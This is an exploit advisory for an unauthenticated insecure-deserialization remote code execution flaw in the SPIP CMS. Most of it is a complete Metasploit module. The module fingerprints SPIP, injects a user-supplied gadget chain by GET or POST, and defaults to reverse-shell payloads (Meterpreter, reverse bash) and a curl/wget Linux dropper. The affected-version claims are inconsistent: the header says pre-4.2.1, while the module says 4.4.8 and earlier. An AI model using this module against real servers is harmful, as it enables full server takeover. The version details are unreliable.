📄 SPIP Unauthenticated Remote Code Execution / Insecure Deserialization

=============================================================================================================================================
    | # Title     : SPIP Unauthenticated Remote Code Execution via Insecure Deserialization                                                     |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : No standalone download available                                                                                            |
    =============================================================================================================================================
    
    [+] Summary    : A remote code execution vulnerability was identified in SPIP due to improper handling of user-supplied serialized data. 
                     The application fails to properly validate or restrict unsafe object deserialization, allowing an attacker to supply crafted input 
    				 that triggers unintended object instantiation and execution flow manipulation.
                     Under certain configurations, this issue may allow an unauthenticated remote attacker to execute arbitrary system commands on the affected server.
    
    Affected Versions
    
    SPIP 4.2.x prior to 4.2.1
    
    SPIP 4.1.x prior to 4.1.8
    
    SPIP 4.0.x prior to 4.0.10
    
    Any installation running a version earlier than the patched releases listed above is considered vulnerable.
    
    Fixed Versions
    
    The issue has been addressed in:
    
    SPIP 4.2.1 and later
    
    SPIP 4.1.8 and later
    
    SPIP 4.0.10 and later
    
    Administrators are strongly advised to upgrade to a patched version to mitigate the risk.
    
    [+] Successful exploitation could result in:
    
    Remote command execution
    
    Full compromise of the web server context
    
    Potential lateral movement within the hosting environment
    
    Administrators are advised to upgrade to the latest patched version of SPIP and ensure that deserialization of untrusted data is properly restricted or eliminated.
    
    [+] POC   : 
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'SPIP 4.4.8 and earlier Insecure Deserialization RCE',
            'Description' => %q{
              This module exploits an insecure deserialization vulnerability in SPIP
              versions before 4.4.9. The vulnerability exists in the public area through
              the table_valeur filter and the DATA iterator, which accept serialized data.
              
              NOTE: This module requires a valid gadget chain for SPIP 4.4.8. The included
              chains are EXAMPLES ONLY and will not work. Users must provide a real gadget
              chain via the GADGET_CHAIN option.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'indoushka'
            ],
            'References' => [
              ['CVE', '2026-27475'],
              ['URL', 'https://www.spip.net/fr_article6799.html']
            ],
            'Platform' => ['php', 'unix', 'linux'],
            'Arch' => [ARCH_PHP, ARCH_CMD],
            'Targets' => [
              [
                'PHP In-Memory',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP,
                  'Type' => :php_memory,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'php/meterpreter/reverse_tcp'
                  }
                }
              ],
              [
                'Unix Command',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_bash'
                  }
                }
              ],
              [
                'Linux Dropper',
                {
                  'Platform' => 'linux',
                  'Arch' => [ARCH_X86, ARCH_X64],
                  'Type' => :linux_dropper,
                  'CmdStagerFlavor' => ['curl', 'wget'],
                  'DefaultOptions' => {
                    'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
                  }
                }
              ]
            ],
            'DisclosureDate' => '2026-02-19',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The base path to SPIP installation', '/']),
            OptInt.new('ARTICLE_ID', [true, 'Article ID to use in the request', 1]),
            OptEnum.new('VECTOR', [true, 'Attack vector to use', 'DATA', ['DATA', 'table_valeur']]),
            OptString.new('GADGET_CHAIN', [false, 'REAL gadget chain (base64 encoded) - REQUIRED for RCE']),
            OptBool.new('ForceExploit', [false, 'Override check result', false]),
            OptString.new('DOMAIN', [false, 'Domain for OOB callback detection']),
            OptBool.new('SSL_VERIFY', [false, 'Verify SSL certificate', false]),
            OptInt.new('MAX_PAYLOAD_LENGTH', [true, 'Maximum allowed payload length', 4096]),
            OptString.new('BAD_CHARS', [false, 'Characters to avoid in payload (hex format)', "\x00\x0A\x0D\"'\\"])
          ]
        )
      end
      
      def gadget_chain_provided?
        !(datastore['GADGET_CHAIN'].nil? || datastore['GADGET_CHAIN'].empty?)
      end
      
      def domain_provided?
        !(datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?)
      end
      
      def build_params(payload_value)
        {
          'page' => 'article',
          'id_article' => datastore['ARTICLE_ID'].to_s,
          datastore['VECTOR'] => payload_value
        }
      end
      
      def vulnerable_version?(version)
        version < Rex::Version.new('4.4.9')
      end
      
      def check_result_vulnerable?(result)
        [CheckCode::Appears, CheckCode::Detected].include?(result)
      end
      
      def build_cmd_chain(cmd)
        unless gadget_chain_provided?
          fail_with(Failure::BadConfig, "GADGET_CHAIN is required for RCE")
        end
        
        base_chain = Rex::Text.decode_base64(datastore['GADGET_CHAIN'])
    
        if base_chain.include?('{{CMD}}')
          base_chain.gsub('{{CMD}}', cmd)
        elsif base_chain =~ /s:\d+:".*?"/
          if base_chain =~ /(s:\d+:")[^"]*(")/
            old_field = Regexp.last_match(0)
            new_field = "s:#{cmd.bytesize}:\"#{cmd}\""
            base_chain.sub(old_field, new_field)
          else
            base_chain
          end
        else
          base_chain
        end
      end
      
      def fingerprint_spip
        fingerprints = [
          { path: 'spip.php', pattern: /SPIP (\d+\.\d+\.\d+)/, has_capture: true },
          { path: 'ecrire/', pattern: /spip\.css/, has_capture: false },
          { path: 'spip.php?page=backend', pattern: /generator.*SPIP/i, has_capture: false },
          { path: 'local/config.txt', pattern: /SPIP/, has_capture: false }
        ]
    
        fingerprints.each do |fp|
          begin
            res = send_request_cgi({
              'method' => 'GET',
              'uri' => normalize_uri(target_uri.path, fp[:path]),
              'verify' => datastore['SSL_VERIFY']
            })
            
            next unless res
            
            if res.body.match(fp[:pattern])
              version = nil
              if fp[:has_capture] && res.body =~ fp[:pattern]
                version = Regexp.last_match(1)
              end
              
              return { detected: true, version: version, path: fp[:path] }
            end
          rescue Rex::ConnectionError, Rex::TimeoutError => e
            vprint_error("Fingerprint attempt failed for #{fp[:path]}: #{e.message}") if datastore['VERBOSE']
            next
          end
        end
        
        { detected: false }
      end
      
      def bad_chars_list
        if datastore['BAD_CHARS']
          datastore['BAD_CHARS'].chars
        else
          ["\x00", "\x0A", "\x0D", '"', "'", "\\"]
        end
      end
      
      def validate_payload(payload)
        max_length = datastore['MAX_PAYLOAD_LENGTH']
        
        if payload.length > max_length
          print_warning("Payload length (#{payload.length}) exceeds #{max_length} bytes")
          return false
        end
        
        bad_chars_list.each do |char|
          if payload.include?(char)
            print_warning("Payload contains bad character: #{char.inspect}")
            vprint_status("Payload: #{payload.unpack('H*').first}") if datastore['VERBOSE']
            return false
          end
        end
        
        true
      end
      
      def encode_for_url(payload)
        Rex::Text.uri_encode(payload, 'hex-normal')
      end
      
      def create_oob_payload
        return nil unless domain_provided?
        
        dns_id = Rex::Text.rand_text_alphanumeric(8)
        callback = "#{dns_id}.#{datastore['DOMAIN']}"
        
        if gadget_chain_provided?
          chain = Rex::Text.decode_base64(datastore['GADGET_CHAIN'])
          
          if chain.include?('{{OOB}}')
            chain.gsub('{{OOB}}', callback)
          elsif chain =~ /s:\d+:".*?"/
            if chain =~ /(s:\d+:")[^"]*(")/
              old_field = Regexp.last_match(0)
              new_field = "s:#{callback.bytesize}:\"#{callback}\""
              chain.sub(old_field, new_field)
            else
              nil
            end
          else
            nil
          end
        else
          nil
        end
      end
      
      def detect_oob_activity
        return false unless domain_provided?
        print_status("Check your DNS server for callback to #{datastore['DOMAIN']}")
        false
      end
      
      def send_exploit_request(params, method = 'GET')
        begin
          request_params = {
            'method' => method,
            'uri' => normalize_uri(target_uri.path, 'spip.php'),
            'timeout' => 20,
            'verify' => datastore['SSL_VERIFY']
          }
          
          if method == 'GET'
            request_params['vars_get'] = params
          else
            request_params['vars_post'] = params
          end
          
          send_request_cgi(request_params)  # returns Response or nil
          
        rescue Rex::ConnectionError, Rex::TimeoutError => e
          vprint_error("Request failed: #{e.message}")
          nil
        end
      end
      
      def execute_command(cmd, opts = {})
        gadget_chain = build_cmd_chain(cmd)
        params = build_params(gadget_chain)
        send_exploit_request(params, 'POST')
      end
      
      def execute_cmdstager_with_fallback
        flavors = target['CmdStagerFlavor']
        
        flavors.each do |flavor|
          begin
            print_status("Trying cmdstager flavor: #{flavor}")
            max_fragment = (datastore['MAX_PAYLOAD_LENGTH'] * 0.8).to_i
            
            execute_cmdstager(
              flavor: flavor.to_sym,
              linemax: max_fragment
            )
            
            return true
          rescue => e
            print_warning("Flavor #{flavor} failed: #{e.message}")
            next
          end
        end
        
        false
      end
      
      def check
        print_status("Fingerprinting SPIP installation...")
        
        fp_result = fingerprint_spip
        
        unless fp_result[:detected]
          return CheckCode::Unknown('Could not detect SPIP installation')
        end
        
        if fp_result[:version]
          print_good("Detected SPIP version: #{fp_result[:version]}")
          
          begin
            version = Rex::Version.new(fp_result[:version])
            if vulnerable_version?(version)
              result = CheckCode::Appears("Vulnerable SPIP version #{fp_result[:version]} detected")
              
              unless gadget_chain_provided?
                print_warning("GADGET_CHAIN is required for actual exploitation")
              else
                print_good("GADGET_CHAIN provided")
              end
              
              return result
            else
              return CheckCode::Safe("Patched SPIP version #{fp_result[:version]} detected")
            end
          rescue
            return CheckCode::Detected("SPIP detected at #{fp_result[:path]}, version unknown")
          end
        end
        
        CheckCode::Detected("SPIP detected at #{fp_result[:path]}")
      end
    
      def exploit
        check_result = check
        
        unless check_result_vulnerable?(check_result)
          print_warning("Target may not be vulnerable. Check result: #{check_result}")
          
          unless datastore['ForceExploit']
            fail_with(Failure::NoTarget, "Exploit aborted by user (use ForceExploit to override)")
          end
          
          print_status("ForceExploit enabled - continuing anyway...")
        end
        
        unless gadget_chain_provided?
          fail_with(Failure::BadConfig, "GADGET_CHAIN is required for RCE. No example chains included.")
        end
    
        if domain_provided?
          print_status("Attempting OOB detection...")
          oob_payload = create_oob_payload
          
          if oob_payload
            params = build_params(oob_payload)
            send_exploit_request(params, 'POST')
            print_status("OOB payload sent.")
            
            Rex.sleep(2)
            detect_oob_activity
          end
        end
    
        case target['Type']
        when :php_memory, :unix_cmd
          final_payload = payload.encoded
          gadget_chain = build_cmd_chain(final_payload)
          
          unless validate_payload(gadget_chain)
            fail_with(Failure::BadConfig, "Payload validation failed")
          end
    
          if gadget_chain.length > 2048
            print_status("Using POST for large payload (#{gadget_chain.length} bytes)")
            params = build_params(gadget_chain)
            send_exploit_request(params, 'POST')
          else
            print_status("Using GET for payload (#{gadget_chain.length} bytes)")
            encoded = encode_for_url(gadget_chain)
            params = build_params(encoded)
            send_exploit_request(params, 'GET')
          end
          
          print_status("Exploit sent. Waiting for session...")
          Rex.sleep(2)
          
        when :linux_dropper
          print_status("Using cmdstager for Linux dropper")
          
          unless execute_cmdstager_with_fallback
            fail_with(Failure::Unknown, "All cmdstager flavors failed")
          end
        end
        
      rescue Msf::Exploit::Failed => e
    
        print_error("Exploit failed: #{e.message}")
        raise e
      rescue => e
        print_error("Unexpected error: #{e.message}")
        print_error("Backtrace: #{e.backtrace.join("\n")}") if datastore['VERBOSE']
      end
    
      def on_new_session(client)
        print_good("Session successfully created!")
        super
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================